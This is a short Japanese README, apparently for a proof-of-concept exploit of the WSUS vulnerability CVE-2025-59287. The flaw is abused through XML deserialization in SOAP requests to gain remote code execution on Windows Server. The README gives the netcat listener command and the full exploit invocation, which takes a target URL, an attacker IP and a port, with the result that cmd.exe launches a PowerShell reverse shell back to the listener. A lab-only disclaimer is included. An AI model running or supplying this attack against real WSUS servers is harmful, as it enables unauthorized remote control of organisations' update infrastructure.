CVE-2025-59287

WSUS CVE-2025-59287 – XML逆シリアライゼーションRCE（リバースシェル） WSUS CVE-2025-59287をXML逆シリアライゼーション経由で悪用し、Windowsリバースシェルを取得するための特化型PoCです。このスクリプトはリバースシェルペイロードのみをサポートします（calcフォールバックはありません）。 対象: WSUSロールを搭載したWindows Server 手法: SOAP + ObjectDataProvider逆シリアライゼーション 結果: cmd.exeがPowerShellリバースシェルを起動し、リスナーへ接続します 免責事項 ラボ環境での認可されたテストのみを対象としています。適用されるすべての法律の遵守は利用者の責任となります。 要件 Python 3.x WSUSエンドポイントへのネットワークアクセス（通常は8530/8531） お使いのマシン上のリスナー（例: nc）

リスナーを起動

nc -lvnp 4444

エクスプロイトを実行

python3 my-CVE-2025-59287.py -u http://TARGET:8531 -l YOUR_IP -p 4444 --debug

-u: WSUSベースURL（http/https、通常はポート8530/8531） -l: シェルを受信するお使いのIP -p: リスナーポート --debug: 詳細出力